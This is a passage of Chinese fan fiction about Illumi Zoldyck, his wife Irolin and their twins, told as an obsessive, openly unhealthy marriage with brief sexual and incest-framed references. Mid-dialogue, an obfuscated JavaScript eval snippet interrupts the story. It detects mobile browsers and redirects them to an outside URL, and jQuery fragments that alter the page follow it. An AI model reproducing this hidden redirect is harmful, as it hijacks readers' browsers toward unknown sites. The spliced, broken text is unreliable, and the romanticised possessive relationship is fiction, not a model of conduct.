伊尔迷这辈子最后悔的事情，是让伊洛林怀孕。


    孕中辛苦，她和基裘不同，基裘就像个金刚一样，身体强度是世界级的，而伊洛林孕中则是双腿浮肿每天都很疲惫。因为怀的是双胞胎，哪怕用了最好的营养师来调理身体，医生来来往往不停，伊洛林的精神气还是难免不太够用。


    她每天只喜欢懒懒半躺着，吹着风，或晒晒太阳，盖着小毯子一整天都不怎么说话。


    伊尔迷的任务大半都丢给了糜稽和奇犽，这两个快做舅舅的人难得没什么怨言，要是不让伊尔迷花时间陪着伊洛林，他们两个人的皮都得被扒下来一层吧？他每天的任务就是陪着伊洛林，去哪儿他都跟着，伊洛林睡觉他就在一旁看着，伊洛林无聊他就把她抱在怀里念故事书，做胎教也好打发时间也罢，再买一点普通简单的手工回来，让伊洛林有事可做。


    帮伊洛林洗头洗澡都是再正常不过的一件事，伊尔迷可不会放弃任何一个紧贴着的机会，就像伊洛林满十七岁那天晚上，忍到差点要出家的伊尔迷生生把人做晕了三次，此后伊洛林的日子就没素过。


    现在好像又回到了当初。


    只不过当初还能打打擦边球，吃口荤的，而现在则不太行。


    孕期不能太激烈，但是也要适当地安抚，伊洛林没有太多那些想法，偶尔有，就偶尔安抚，伊尔迷一门心思地把她往好了养，按摩也是亲自来，直到伊洛林把孩子生下来。


    生的过程是用尽了办法把痛苦降低，危险降低，直接剖腹产，缝合请了会念的医生，把伤口缝得几乎看不见。


    龙凤胎，哥哥妹妹。


    伊尔迷松了一口气，轻飘飘掠过一眼，他本就是陪产的那个，挥了挥手让管家带孩子下去，满心满眼都是面色有些苍白的伊洛林，他在等妻子醒来。


    你以为这就结束了吗？


    伊尔迷开始成为全职奶爸，并且学习了各种各样的技能，比如，如何炖出坐月子女□□喝的汤。


    虽然伊洛林不孕吐，但是她几乎不怎么吃东西，每次都靠哄，不然营养不良怎么办，吃不饱孩子就要吸收母体的养分，伊尔迷只觉得肚子里的孩子太折腾人，全程参与了怀孕与分娩，抚养的任务重担也在伊尔迷身上，虽然有管家团队，可伊尔迷总是会更加牵挂。


    伊洛林肯生就已经很难得了，生育的苦吃够了，那带娃的苦就一点别吃。


    月子餐都是精心搭配的，复健运动也是按照标准的来，伊洛林本身是个健身狂魔，也被按着老老实实地继续养身体，月子生活里最大的乐趣就是看伊尔迷在一双儿女面前露出疑惑的神色。


    他养过弟弟，没养过儿子女儿。


    不是第一次抱孩子，却依旧会觉得碍于得小心翼翼。


    他垂落的长发被攥紧不肯松开，看起来是疼的，但伊尔迷神色不变，任由两个孩子折腾他。新生的婴儿吃了睡睡了吃，号啕大哭时声音穿透力极强，尤其是其中的哥哥，一头白色的胎毛，眼睫毛根根分明也是雪白雪白，哭声更是如同魔音灌耳，被伊尔迷评价为颇有奇犽的幼年感觉。


    奇犽本身窝在一边逗外甥，闻言差点炸毛，做家主的人了，还是看见他哥就背后一冷。


    孩子饿了，伊尔迷喂。


    孩子折腾，伊尔迷哄。


    孩子睡了，伊尔迷交给管家，一个小时里来看八次，管家都觉得皮绷紧了。


    除此之外，还要炖汤给伊洛林喝，亲自下厨做饭，调配饭菜里的毒，晚上给伊洛林讲故事，生生把自己从一个人见人怕的杀手，弄成了全职奶爸外加宠妻狂魔。见过疼老婆的，没见过把老婆当女儿养的，不过伊尔迷觉得妹妹变成老婆也是妹妹，不能混为一谈是理所当然的。


    席巴自愧不如。


    伊洛林竟也不觉得伊尔迷烦，哪怕一天二十四小时，只分几个小时给儿子女儿，其余时间都在自己身边，她也不觉得有什么不对。毕竟她当初愿意选择伊尔迷，也有一定的原因是因为伊尔迷真的很沉重，爱也是，欲也是，伊洛林就需要这种沉重到窒息的感情让自己感觉自己还活着。


    随着时间推移，孩子慢慢会爬，抓握东西的喜好开始增加，尤其是对他们的父亲的头发感兴趣，于是伊尔迷就像被糟蹋了一轮一样，头发乱翘。伊洛林一边笑一边给他整理头发，而伊尔迷乖乖地垂头，让她在自己头上放下双手，他凝视着自己已经生育却依旧显得像个未成年的妻子，黏稠的爱意是与日俱增的。


    “孩子像我，喜欢你的长发。”


    生育过后的母性，伊洛林大约都给了伊尔迷，她本身就觉得自己年纪比伊尔迷大，一开始听伊尔迷叫姐姐，还会害羞，会逃避，后续接受了，被叫两声姐姐还会捏捏伊尔迷的脸，凑过去吻他的唇角。


    伊尔迷喂孩子们奶粉，伊洛林的就归他所有，这种癖好令人不敢恭维，还好也没人知道。


    伊尔迷埋首在伊洛林的怀里，枕着妻子沉甸甸的丰满，他感叹自己将伊洛林养育得稍微有些丰腴的肉感，这样抱起来满足至极。


    于是他又蠢蠢欲动，把人搂上膝盖，咬着伊洛林的耳垂，含糊不清低声唤她：“……妈妈……”


    玩得太大。


    伊洛林老脸一红。


    “……没你这种儿子。”虽然这么说，但伊尔迷要怎么玩都随他的心去，伊洛林负责把他喂饱，别一脸幽怨看着自己就行了。


    三岁的孩子，正是人憎狗嫌的时候，尤其是三毛，被薅秃了好几块毛，敢怒不敢言，只敢呜呜着对伊洛林哭，给她看自己的毛，这么大一只狗，愣是给伊洛林养的跟小孩似的，四脚朝天地耍赖皮。伊洛林给它买了各种各样的美毛产品，甚至还有个巨大的蝴蝶结，当三毛从黄泉之门侧的小门里探出头时，恐怖的巨大狗头上是令人瞠目结舌的粉色蝴蝶结，一瞬间不知道该觉得是头皮发麻还是目瞪口呆，只不过他们都默契地举起了手机，咔咔咔的拍照。


    伊尔迷被孩子们折腾得没脾气，一个比一个闹腾。


    这两个孩子最大的特点是不怕伊尔迷，一口一个爸爸，鬼点子一个接一个，偏要伊尔迷陪。


    他们俩最怕的是伊洛林。


    不为别的，席巴和基裘肯定宠着自己孙子孙女，四个又是舅舅又是叔叔的更是无所不能的给他们东西和溺爱，伊尔迷又非常沉默的受着他们的折腾，只有伊洛林对他们的感情淡淡的，不像是怀胎十月生下来的，而像是不怎么亲近的远房亲戚。


    她实在是对孩子生不出什么母爱，有半点都给了伊尔迷。


    可能是她小时候的心愿就是让父母离她远点，生育完没有产后抑郁就已经是万幸，谁能强迫她去爱？她就这样就很好了。她从切割和所有人的关系开始，除了对家人，其余不论是谁都情感淡漠。


    抱孩子抱得少，也没有亲近的意思，孩子感觉敏锐，所以在伊洛林身边总是会拘谨不少。


    她甚至没怎么对孩子笑过。


    这俩孩子第一次学会嫉妒，大概是看着伊洛林笑着望着伊尔迷，眼神温柔又缱绻。


    而伊尔迷告诉他们，爸爸为了走进妈妈的心，花了整整十五年。想要妈妈爱你们，就必须加倍地爱妈妈，妈妈才会感觉到你们的存在和你们的爱，要长久的一辈子地去爱。


    在别人眼里伊尔迷再怎么可怕，对于伊洛林来说，伊尔迷只是疼爱自己的哥哥，爱着自己的丈夫，她所有的爱意倾斜给伊尔迷，沉重的，病态的，不可控的，伊尔迷已经十分满意。格蕾西曾说过，伊洛林已经病入膏肓，她和伊尔迷只能不断地纠缠到最后，她几乎作呕，而伊洛林生育她更是无法接受，所以也不曾回来看过。


    伊洛林会抽空去找她，感情虽然不曾减少，但在一起的时间还是越来越少。


    格蕾西不喜欢小孩，也只是寄了几次礼物而已，毕竟是伊洛林的孩子，但她和伊洛林一样，对这种东西没有本质上的好感，如果不是伊洛林生的，她将一眼都不看。


    她说过，伊尔迷只需要保持让伊洛林幸福就足够。


    而伊洛林也在用行动证明，哪怕家庭再重要，也比不上格蕾西，只需要格蕾西一句话，她也能干脆利落地推开伊尔迷提起裤子就走——不过这种事目前还没有过，毕竟格蕾西也没想真的搞得伊尔迷光鼙鼓思考人生。


    连奇犽都会担心格蕾西和伊洛林的友情，只有她们本人一直知道，彼此在这个世界上都是对方最重要的人，永远不会改变，只不过她们对朋友的要求并不是一直一直在一起，也不需要一定接受对方做什么事不做什么事，仅此而已。


    伊尔迷颇为恶劣地想着。


    孩子们啊，等你们长大，发现妈妈最爱的不是爸爸，而是你们甚至都没见过的姨姨，你们的心情会怎么样呢？


    伊尔迷愉悦。


    五岁的孩子们已经在森林里玩得尽兴彻底了，他们的运动神经太丰富，像有多动症一样，五个大人轮流陪着玩都没能耗尽他们的精力，哥哥带头冲锋，妹妹更加顽劣不堪，两个人是1+1＝无限的体能。他们对于训练没有任何想法，毕竟看着妈妈安然的在剧烈的电流里打瞌睡时，他们就觉得这是正常的，毕竟这可是妈妈啊！


    伊洛林：？


    他们甚至在比赛谁能吃更多的毒药。


    而作为正统揍敌客家养育出来的人，伊洛林吃的饼干都能毒死一群成年大象了，实在是没搞清楚为什么要控制孩子不吃有毒的东西，反正别抓地上的塞进嘴里就行。抓也没事，别让她看见就行。好吧看见也行，反正她也不会管。


    八岁时，两个孩子被丢进了天空竞技场，双双意外开念；十岁时，两个孩子被丢进了流星街。


    伊尔迷当然是派出了足够的管家，但还是没能阻拦住两个孩子差点变成流星街老大，直到零把他们两个收拾了一遍。拎着后脖颈丢回了揍敌客。


    米拉嬉皮笑脸叫着爷爷奶奶我们来啦，米达已经变成了一个束着高马尾的优秀男性，也笑吟吟地跟着叫，这两个不是揍敌客家的相当不要脸，尤其是米拉，和伊洛林一般大，还要叫爷爷奶奶。但人嘛，年纪大了，这种关系不嫌少，反正不是真的，应付一下也比冷落好，席巴和基裘欢迎至极。


    零的两个孩子如果也是揍敌客家的，那么揍敌客家的强大将更上一层楼。


    两个孩子心情不佳，讨厌比自己大的平辈！讨厌妈妈对他们的态度！讨厌他们！！


    十二岁时，哥哥把头发染黑了，因为觉得自己和妹妹不一样。


    哥哥吃了一顿老父亲的竹笋炒肉鞭。


    十三岁时，妹妹说要嫁给哥哥，于是哥哥又吃了一顿竹笋炒肉鞭，鞭子抽得火花带闪电，本来哥哥还在嘴硬，一看到伊洛林都拿起了那么粗的竹竿往里头注入念力，一下子头皮发麻的全交代了：他们觉得妈妈是哥哥的妹妹，那妹妹嫁给哥哥不可以吗？这么说出来估计妈妈会多看他们两眼，实际上两个小孩根本没有那种心思。


    妹妹在一旁抽抽搭搭的哭，问伊洛林为什么不喜欢他们，他们不是妈妈生的吗？


    伊洛林丢了竹竿，转头就走。


    伊尔迷跟了一路，跟回房间，抱着伊洛林整个下午，此后整整三天，伊洛林没有出过房门一步。


    妹妹说完其实就后悔了。


    因为伊尔迷曾经告诉他们，你们的妈妈是个迟钝且极端的人，她对你们绝对没有不爱，只是爱如果让她痛苦的话她就会视而不见。你们的妈妈吃过很久的苦，情绪也很难一直平稳，虽然近几年好了很多，但是也不能太刺激她的情绪。他拿出来一堆吃空了的药壳子，告诉他们每一种药的副作用和后遗症。


    她很痛苦，所以下半辈子，爸爸只想她活在幸福里。


    她不是不爱你们，只是不知道怎么爱你们，她连怎么爱自己都不知道。


    下坠的人生里，唯有伊尔迷是她的例外。


    格蕾西不是例外，格蕾西是她如影随形的双生子，她们没有什么例外不例外的，有的只是必然。


    她从来不想做父母，伊尔迷也只愿意她做妹妹。


    不必成熟地去面对，不需要勉强自己，她已经足够强大，足够坚强了，剩下的那些痛苦就全部都交给伊尔迷，他很乐意帮忙。他正是如此需要伊洛林的另一面。


    孩子是伊尔迷想要的。


    是她爱极了伊尔迷而愿意生的。


    不是她因为想要孩子而生的。


    她抗拒孩子，就像抗拒自己的过去一样，她逃避着那些，一生也没法去治愈。伊尔迷也无法去拯救那个被母亲踹倒而后蜷缩的女孩，没办法真的说他能够理解她趴在地上爬着去吃野生草药的痛苦，他终其一生也没办法让伊洛林遗忘那在森林里恐惧绝望又狼狈不堪的日日夜夜。


    她痛苦了二十多年，伊尔迷也照顾了她多出来的三十多年。


    “其实爸爸还觉得挺庆幸呢。”伊尔迷看着一双儿女，他不经常笑，每一次笑都让人心里发毛，而这一次他笑的弧度很大，却依旧让人觉得像似笑非笑，像僵硬的人体偏要表现出来温柔的模样，他的念力里拥有让两个孩子脊背发凉的恶意：“还好妈妈抗拒了她对你们的爱，否则爸爸就会嫉妒你们了呢…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352772|162407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …一想到你们是我的孩子，所以不能杀，就很苦恼呢。”


    很抱歉啊，孩子们，你们爹也不是正常人。


    他其实很爽，伊洛林只爱他一个人，哪怕从她肚子里生出来也不能改变这一点。


    真是对不起啊。伊尔迷吐吐舌头。


    伊洛林从房间里出来后倒是对两个孩子好了点，虽然有些别扭。


    她陷入情绪里的时候会无比的憎恶自己，这一点从未改变过，她痛恨自己沉溺过去无法自拔，她怨恨自己被养了三十多年还没办法逃掉情绪的枷锁，她生了孩子却没有给爱，她和曾经的父母又有什么区别？而伊尔迷一句一句告诉她，这是没办法的，因为你生病了，你控制不住自己，因为你受伤了所以你需要疗伤，你看，孩子们的生活优渥，你不爱他们也没关系，你可以不爱任何人，只需要爱我就足够了。


    哥哥对你的爱是绝对的。


    哥哥对你三十年不曾减少只有增加的爱意。一直都在。


    被双臂纠缠住脖颈时伊尔迷如此满足，哪怕伊洛林真的折腾起来甚至能给他两个巴掌，他也甘之如饴。妻子的巴掌落在脸上的时候，疼痛和快乐是共生的，而她激烈的情绪就是伊尔迷最爱的养料。伊洛林会在伊尔迷身上留下一个又一个牙印，她的爱通过咬来呈现，她咬出了血的次数绝不少，而她则会颤抖着一遍又一遍地咬着。


    用这种方式来确认伊尔迷不是她的一场梦。


    伊尔迷真的很喜欢伊洛林的所有，包括她不曾好转的病情，她脆弱的时候自己是她唯一的浮木，她绝望的时候自己是她唯一的希望，她哭泣的时候自己是她的港湾。


    三十几岁的伊洛林还和少女一般，别无二致。


    她还是会在哭泣的时候喊哥哥，因为她的哥哥一直都在她的身边。


    她的哥哥总是在无条件地爱她。


    所以哥哥是她的，她一个人的。


    某种程度上来说，格蕾西想吐的情绪是正确的，毕竟这种病态的相爱根本不健康，伊洛林才会根本无法好转。


    话题转回孩子这里。


    对于妈妈的改变，他们受宠若惊，却又表现得不在乎，火化了之后就剩一张嘴的程度，但伊洛林也没在意，她这个岁数还要试着去学怎么表达那点微妙的母性，实在是有点难为人，她已经习惯了只爱伊尔迷一个人，剩余的感情分得七七八八给家里人。


    格蕾西拥有她百分之九十的爱，伊尔迷一个人百分之八，剩下的家人们挤在那百分之二里。


    孩子可能都还没进百分制里。


    他们的快乐伴随着格蕾西的到来而变得崩溃。


    伊洛林几乎每时每刻都在笑，她和格蕾西两个人不断地说着话，双目闪闪发亮，家中几乎回荡着她的笑声，格蕾西和她聊得天南海北，两个人之间的氛围连伊尔迷都退避三舍。她们吃睡都在一起，对于两个孩子，格蕾西也就是丢了两个礼物，随便应付了两句，也没怎么管。


    他们甚至发现妈妈出门采购了，和格蕾西一起，买了一堆没什么用的东西，两个人一起分享了半天，半夜三更不睡觉，房间里还亮着灯。


    嫉妒。


    嫉妒。


    嫉妒。


    他们嫉妒得要发狂了。


    他们求而不得爱，为什么会有人一口气拥有那么多？


    柯特对他们说，不要去争宠，也不要去企图伤害你们的格蕾西姨姨，因为你们的妈妈会发自内心地厌恶你们。当然不要争宠是因为你们争不过。


    受害者柯特不愿意暴露姓名。


    为了不被妈妈发自内心的厌恶，他们只能不停地忍耐，连爸爸都只能忍着，他们也不能去做出头鸟。


    十八岁，哥哥已经能和奇犽打得难分上下，妹妹已经是揍敌客家最优秀的杀手，不断囤钱，不断地积累着经验，


    奔四的伊洛林的生活依旧很平常。


    毕竟拥有念的他们很难老去，现在还是壮年呢！


    哥哥问伊洛林，为什么你从不夸奖我们的进步？伊洛林回答，要做什么样的人都是你们的选择，你们的人生一直在自己手上。


    他试图靠在妈妈怀里，伊洛林没有拒绝。


    她抱着自己的孩子，抚摸他柔顺的银发，感受到他的颤抖。她可能以为哥哥在哭，可是哥哥只是在兴奋地颤抖着，他抱着妈妈的腰，感受到妈妈的温度，被母爱填充的感觉太让人兴奋了，他似乎在逐渐得到妈妈的爱。


    爸爸，你说得对，只需要不断地爱着妈妈，妈妈就会逐渐地回应。


    二十岁的时候，兄妹们终于能偶尔和伊洛林一起睡个午觉什么的，他们对让母亲开心这一点乐此不疲，几乎一直在搜罗着宝物回家送给伊洛林。


    伊洛林很久没有发病了。


    伊尔迷不太爽，但是又觉得这样也可以。


    反正他还是伊洛林最爱的那个人。格蕾西从来不算在他的表格里，因为她就是个bug，是个作弊器，有她在，这个世界上没人能胜过她，所以忽略不计。


    伊尔迷还是会一直贴着伊洛林。


    伊洛林还是会喜欢伊尔迷一直贴着自己。


    他们确实天生一对。


    后来哥哥继承了奇犽的位置，妹妹辅佐着他，伊尔迷和伊洛林环游世界去了，他们之间的联络变成了信件，伊洛林反而能更坦诚地表露自己的爱一点，关心他们的日常生活，心情好坏，但她还是希望孩子们有自己的生活，不要一直想着爹妈。


    妹妹私底下写信警告伊尔迷，不要生弟弟妹妹了，他们不想要弟弟妹妹。


    伊尔迷回了很短的一行字：你们不会有的。


    实际上在伊洛林怀孕后不久，伊尔迷就去做了结扎。这种事，这辈子只需要一次就足够了。


    伊洛林不应该痛苦。


    他曾经以为生育很简单，毕竟参照的人是基裘，但是伊洛林的状态让他深刻体会到生育不易，过程痛苦，所以伊尔迷反省自己，结扎了一了百了。


    “怎么了？”


    伊洛林躺在游泳圈上，戴着墨镜，享受太阳的海水，伊尔迷在她身边，长发扎起来，面色平静。


    “没有，只是觉得我很爱你。”


    伊洛林笑了起来，她昂首，迎接了来自自己丈夫的一个吻。


    “嗯，我也爱你。”


    “伊尔迷，我爱你。”


    从未直白的直抒胸臆的伊洛林，此刻满眼是伊尔迷。她完全不在乎路人的退避三舍，念力的激昂，她只是如此的，眼里只有伊尔迷一个人。


    仅此而已。